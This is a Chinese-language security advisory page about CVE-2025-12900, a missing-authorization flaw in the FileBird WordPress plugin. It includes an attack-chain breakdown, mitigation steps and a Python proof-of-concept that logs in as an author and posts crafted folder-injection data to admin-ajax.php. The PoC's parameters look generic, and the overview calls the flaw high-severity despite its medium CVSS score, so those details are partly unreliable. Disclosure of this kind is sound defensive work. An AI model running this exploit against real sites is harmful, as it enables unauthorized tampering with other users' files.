IPBUF安全漏洞报告
English
CVE-2025-12900 CVSS 4.3 中危

CVE-2025-12900 FileBird WordPress插件权限绕过漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-12900
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FileBird – WordPress Media Library Folders & File Manager

相关标签

权限绕过Missing AuthorizationWordPress插件漏洞FileBirdCVE-2025-12900媒体库安全授权绕过WordPress安全

漏洞概述

CVE-2025-12900是WordPress FileBird媒体库文件夹管理插件中的一个高危安全漏洞。该漏洞属于缺少授权验证(Missing Authorization)类型,存在于ConvertController::insertToNewTable函数中。由于该函数缺少对用户可控键值的验证,导致具有作者级别(Author)访问权限及以上的认证用户可以注入全局文件夹,并在特定条件下重新分配任意媒体附件到这些文件夹中。此漏洞影响FileBird插件6.5.1及之前的所有版本,CVSS评分为4.3(中等严重程度)。攻击向量为网络形式,攻击者需要具有WordPress网站的有效作者账户权限,无需用户交互即可实施攻击。虽然该漏洞对机密性和完整性仅造成低影响,且不影响可用性,但其潜在的权限滥用风险仍需引起重视。建议受影响的用户立即更新到插件最新版本以修复此安全问题。

技术细节

该漏洞的根本原因在于FileBird插件的ConvertController::insertToNewTable函数缺乏适当的授权检查和输入验证。攻击者通过构造恶意请求,利用用户可控的键值参数(如folder_id)绕过权限验证机制。具体来说,攻击者可以:1)使用有效的作者级别账户登录WordPress;2)向ConvertController::insertToNewTable端点发送特制的HTTP请求;3)注入新的全局文件夹或修改现有文件夹的归属;4)将其他用户的媒体附件重新分配到攻击者控制的文件夹中。由于该函数直接使用未经验证的用户输入来执行数据库操作,攻击者可以实现跨用户的数据篡改。此漏洞的利用不需要管理员权限,作者级别的账户即可满足攻击条件,这大大降低了攻击门槛。攻击成功后,攻击者可以未经授权地访问和操作其他用户的媒体资源,破坏了WordPress多用户环境下的数据隔离机制。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标WordPress网站并确认安装了FileBird插件(版本<=6.5.1),通过公开信息或指纹识别技术获取插件版本号
STEP 2
初始访问
攻击者获取WordPress作者级别(Author)或更高权限的账户凭据,可通过凭据填充、钓鱼攻击或利用其他漏洞实现
STEP 3
构造恶意请求
攻击者构造针对ConvertController::insertToNewTable函数的HTTP请求,注入恶意的文件夹参数和全局文件夹标识
STEP 4
权限绕过
由于函数缺少用户权限验证和输入验证,攻击者的恶意参数被直接接受并执行,绕过了正常的授权检查机制
STEP 5
数据篡改
攻击者成功注入全局文件夹,并可将任意用户的媒体附件重新分配到其控制的文件夹中,实现跨用户数据访问和篡改

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12900 PoC - FileBird Authorization Bypass # Target: WordPress site with FileBird plugin <= 6.5.1 def exploit_filebird(target_url, username, password): """ Exploit missing authorization in FileBird plugin Allows authenticated users to inject global folders and reassign arbitrary media attachments """ session = requests.Session() # Step 1: Login to WordPress as author user login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Exploit ConvertController::insertToNewTable exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # Inject malicious folder data exploit_data = { 'action': 'filebird_convert_to_new_table', 'key': 'malicious_folder_id', # Unvalidated user input 'folder_name': 'Injected Global Folder', 'parent': 0, 'type': 'global' # Create as global folder } resp = session.post(exploit_url, data=exploit_data) if resp.status_code == 200: print("[+] Folder injection successful") print(f"[+] Response: {resp.text}") else: print("[-] Exploitation failed") return True if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_filebird(target, user, pwd)

影响范围

FileBird插件 <= 6.5.1

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时缓解措施:1)限制作者及以上级别账户的注册和分配;2)审查现有用户列表,删除可疑账户;3)暂时禁用FileBird插件,使用WordPress原生媒体库功能替代;4)使用WordPress安全插件监控异常的管理员Ajax请求;5)实施Web应用防火墙(WAF)规则,检测和阻止针对admin-ajax.php的异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表